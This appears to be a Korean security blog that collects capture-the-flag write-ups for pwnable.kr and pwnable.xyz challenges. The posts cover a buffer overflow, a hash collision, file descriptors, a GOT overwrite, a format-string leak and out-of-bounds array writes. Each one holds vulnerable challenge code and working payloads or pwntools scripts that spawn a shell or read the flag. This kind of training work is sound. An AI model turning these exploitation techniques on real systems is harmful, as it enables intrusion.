728x90

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

주어진 c코드다.  main에서 func로 전달한 인자, overflowme의 값을 바꿔주면 된다.

우리는 입력을 overflowme에 할 수 있고, 비교를 하는건 key이므로 overflowme와 key사이의 거리를 찾으면 된다.

이렇게 gdb로 찾아도 되고 

ida로 확인해봐도 된다.

거리는 52바이트이므로 dummy 52byte + 4byte(cafebabe)


daddy, I just pwned a buFFer :)

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
[pwnable.kr] fd  (0) 2020.09.22
728x90

Daddy told me about cool MD5 hash collision today.

col.c파일을 열어보면, 

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

 

 

그냥 글자수 끼워맞추기 문제인것같다. 

21DD09EC >> 6C5CEC8*5

                   >>6C5CEC8*4  + 6C5CECC

 

페이로드 >

./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`

daddy! I just managed to create a hash collision :)

 

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] fd  (0) 2020.09.22
728x90

Mommy! what is a file descriptor in Linux?

 

ssh 로 접속한다.  비번은 guest

권한을 보면 flag는 내 권한으론 읽을 수 없고, fd.c파일은 소유자가 root이지만 권한이 열려있어서 내가 읽을 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

 

 

atoi함수는 문자열을 정수로 바꿔준다.
그럼 우리가 입력한 값(ascii)이 정수로 바뀌고, -0x1234(4660_dec)연산을 한 값이 fd에 들어간다.

read함수의 인자는  read (int fd, void *buf, size_t nbytes)이다. 

(여기서  fd는 파일 디스크립터, *buf는 버퍼, size는 크기이다.)

fd값은 0, 1 이 가능하고, 나머지는 에러로 처리한다. (0은  input, 1은 output)

그러면 fd는 0이 되어야 하므로 argv[1]엔 4660(0x1234_hex)를 입력하면 된다. 그리고 버퍼엔 LETMEWIN\n 이라는 문자열을 넣어주면 된다.

 

페이로드를 작성하면, 

./fd `python -c 'print "4660"'`
LETMEWIN

 

mommy! I think I know what a file descriptor is!!

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
728x90

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note((__int64)v3, (__int64)argv);
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;

 

함수를 보면 무한 루프를 통하여 1번, 2번, 그 외 상황으로 나뉜다. 

우선 가장 최종 목표는 cat flag를 하는 win함수를 실행하는 것이고, main문엔 win함수를 선언하는 부분이 없으므로 조작을 해주어서 win함수의 주소인 40093c 로 이동해야 한다. 

함수의 정상적인 흐름은 edit_note ~> edit_desc 이지 않을까 라는 생각을 해본다. 써라고 만들었겟지 뭐

void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ", a2);
  v2 = read_int32();
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
  }

 edit_note 함수이다. 

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

edit_desc 함수이다.  n의 buf와 d의 buf는 당연히 다르다.

 

 

먼저 함수의 흐름? 을 보면

첫 번째 함수 edit_note를 보면 길이를 정할때 v2에 입력받은 후, n_buf에 v2만큼 동적할당을 한다. 그리고 설정한 길이 v2만큼 n_buf에 입력을 받는다. 다음으로, s에 n_buf에 입력된 값을 v2만큼 복사한다.  그리고 동적할당을 해제한다.

두 번째 함수 edit_desc를 보면 d_buf에 32바이트만큼 입력을 받는다.

 

여기서 사용할 방법은 변수를 함수의 got로 변조하는 방법이다.  (got, plt는 블로그에 따로 쓸 예정 __아직 fsb도 쓰는중..)

우선 ida로 메모리를 보면 

s와 d_buf의 차이가 32바이트, 가깝다.

n_buf에 32바이트를 넣은 다음에 다른 함수의 got를 넣어주면, s에 복사되면서 overflow되고, 다른함수의 got가 d_buf에 들어갈 것이다. 그러면 이제 '다른 함수'가 실행되면, d_buf가 노출될 것이다.

 

그러면 이제 desc함수에서 d_buf에 내가 가고싶은 win함수의 주소를 넣어주면 된다.

여기서 사용할 '다른 함수'를 골라주자. 구조를 보고 적당한걸 고르면 된다.

난 free로 하겠다. (601210)

 

from pwn import *
p = remote("svc.pwnable.xyz", 30016)

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("60")

p.recv(1024)
p.sendline("a"*32 + p64(0x601210))

p.recv(1024)
p.sendline("2")

p.recv(1024)
p.sendline(p64(0x40093c))

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("a")

print p.recv(1024)

p.interactive()

  

 

/////////////// 지금 설명에 부족한 부분이 있어 나중에 GOT overwrite? 쓸때 더 보강할 예정 :ㅇ

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09
728x90

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 121 && (_BYTE)buf != 89 )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

접속해보면, y/n, name 총 2개를 읽어온다.

flag 의 주소를 알고있으므로, 601080의 값을 읽어 올 수 있으면 풀릴것같다.

 

우린 601160 주소출력문을 이용해 601080값을 읽어와야 한다.

 

위 사진을 보면, usr + 0x80 = qword_601160인걸 알 수 있다.

0x80에 값을 넣을때 main문에선 read~>strcpy를 통해 값을 넣는다. 여기서 이용할 성질은 read는 입력이 끝난 후 null을 쓰지 않지만 strcpy는 null값을 쓴다. 따라서 만일 read에 0x80바이트를 다 넣을 경우, 마지막 1바이트가 null값으로 추가되고, 이 값은 qword_601160 값의 마지막 60부분에 침범하여 qword_601100으로 바뀌게 된다.

 

qword_601100은 printf() 의 매개변수로 쓰이기에, FSB방법을 사용할 수 있다.

FSB방법이란,

그냥 입력값에 인자를 넣어서 스택주소를 노출시키는 취약점을 이용한 것이고, 아직 완벽하게 이해하지 못했다.. 내일 fsb에 대해 더 자세하게 글을 올리겟다 :(

 

 

 

생각을 해보면,

처음 y를 입력받는 구문엔 16바이트를 read하고, 이름을 입력받을땐 80바이트를 받는다.

처음 입력받는 단계에서 우리가 가고싶은 주소, 0x601080을 입력하면 0x6010e0과 0x601160사이 어딘가에 주소가 들어갈 것이다. 0x601080엔 우리가 원하는  flag의 db가 들어가있고, 이 부분의 형식자를 %s로 뽑아주면 원하는 flag가 나올것이다.

 

 

 

 

 

 

 

 

여기서 원하는 0x601080의 위치를 찾았고, (9번째 %p) 이 부분을 %s로 바꿔주면, 

 

 

원하는 flag가 나온다.

 

 

 

 

 

 

 

 

함수 참고~>

 p32(value) : 32비트 리틀 엔디안 방식으로 패킹해주는 함수 (p32(value, endian='big')을 하면 빅 엔디안으로 패킹해준다)

 p32(0x12345678) = \x78\x56\x34\x12

 p64(value) : 64비트 리틀 엔디안 방식으로 패킹해주는 함수 (p64(value, endian='big')을 하면 빅 엔디안으로 패킹해준다)

 p64(0x12345678) = \x00\x00\x00\x00\x78\x56\x34\x12

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09
[pwnable.xyz] sub  (0) 2020.09.07
728x90

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 0x98uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win();
  return 0;
}

qword의 크기를 생각해보자. 

QWORD v5 [rbp-98h]

  __int64 v6 [rbp-80h]

 

따라서 v5의 크기는 \x18이고,  10진수로 표현하면 24이다.

크기가 3인 배열이므로, 하나의 길이는 8비트 이다.

 

위 코드에서 해야할 것은 

if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )

이 문장을 참으로 리턴하는 것이다.

 

초기 설정을 보면 

*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;

이렇게 설정되어 있고, 이 deadbeef의 값을 바꿔주면 된다.

 while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 ) 
  { 
    v5[v8 + 6] = v6 + v7;

위 조건문을 보면, add 문제와 다르게 v8변수의 범위가 -7이상 9이하로 설정되어 있다.

배열 v5[3]의 스택을 대충 그려보면, 

이런 상황이다. v5[0]에서 7칸이후에 값이 들어간 이유는  v5 + 7 의 값을 deadbeef로 설정했기 때문.

이제 이 위치에 0xB000000B5 를 넣어주면 된다. 그러면 스택 상황은 다음과 같아진다.

memset함수에서 0으로 초기화 시켰기에 빈칸은 \x00이 들어가 있다.

 

이제 해야하는건 v5[0]에 0xb500000000000000을 넣어주고, 

                      v5[1]엔 0x0b000000            를 넣어주는 것이다.

scanf에서 d로 받아오니깐 10진수로 바꿔주자.

v5[0] >> -5,404,319,552,844,595,200

v5[1] >>  184,549,376

 

따라서 페이로드는 

>>-5,404,319,552,844,595,200 0 -6 

      184,549,376 0 -5

  

 

 

pwntool로 작성해보자.

from pwn import *


p = remote("svc.pwnable.xyz", 30003) 
p.sendline("-5404319552844595200 0 -6")
p.sendline("184549376 0 -5")
p.sendline("a")

p.interactive()

 

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] add  (2) 2020.09.09
[pwnable.xyz] sub  (0) 2020.09.07
728x90

먼저 ida로 코드를 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+8h] [rbp-78h]
  __int64 v5; // [rsp+10h] [rbp-70h]
  __int64 v6; // [rsp+18h] [rbp-68h]
  __int64 v7[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ", argv, v7);
    if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    argv = (const char **)v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(0x28u);
  return result;
}

 

 

우선 내가 몰랐던 첫번째 함수는 scanf였다.

if문에서 scanf의 리턴값은 받아온 값의 개수라고 보면 되고, 위의 코드에서는 3개를 모두 받아와야 조건이 충족되는 것이다.

 

그리고 위 코드상으론 flag를 불러오는 부분이 보이질 않는다. 함수를 뒤져보다가, win함수를 발견하였다.

int win()
{
  return system("cat /flag");
}

해당 함수의 주소는 400822이다.

 

문제에서 코드의 취약점은, "v7[v6] = v4 + v5 ;"  이 문장에 있다.

v7이란 배열은 크기가 11로 정해저 있지만, v6에 대한 제약이 없다.

 

또한 오늘 처음으로 알게된 사실인데, 다음과 같이 v6의 제약이 없으면 다음 스택을 (sfp, ret)을 배열 v7[12, 13]이 가리키고 있다. 따라서 ret부분에 win함수의 주소를 넣어주면 된다. 또한, while(1)구문을 빠져나오기 위해 문자 3개까지 넣어주면 페이로드는 완성이다. 

 pwntool로 작성해 보자.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30002)

p.recv(512)
p.sendline("4196386 0 13")

p.recv(512)
p.sendline("a a a")
print p.recv(512)

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] sub  (0) 2020.09.07
728x90

1번문제는 welcome이라는 문제인데 생각보다 어려워서 두번째 문제인 sub부터 시작한다.

 

첨부파일을 ida로 까보면, 잘 보인다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E(a1, a2, a3);
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

우선 플래그가 나오는 조건인 cat/ flag 위의 if문을 보자.

변수 v4와 v5의 차이가 4919이어야 하고, 상위 if문은  v4, v5가 각각 4918보다 작거나 같아야 한다고 되어있다.

 

맨 위로 돌아가서, v4, v5가 선언된 부분을 보면, 정수형으로 선언되어있고 각각 0으로 초기화 되었다가 scanf함수에서 

첫 번째로 입력한 정수는 v4로 들어가고, 두 번째로 입력한 정수는 v5로 들어간다.

 

그러면 페이로드는 첫 번째 입력값에 4918, 두 번째 입력값에 -1이 들어가도록 작성하면 된다.

 

pwntool로도 풀어보자.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30001) (remote>> nc 접속 명령어)
print p.recv(11) #프로그램이 출력하는 값을 봐야할때(이땐 11바이트만 받는다)
p.send("4918 -1") #페이로드를 보내는 명령어

p.interactive() #쉘 접속 (bash랑 같은거)

 pwntool 처음써볼때 푸는 문제인것 같다.

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09

+ Recent posts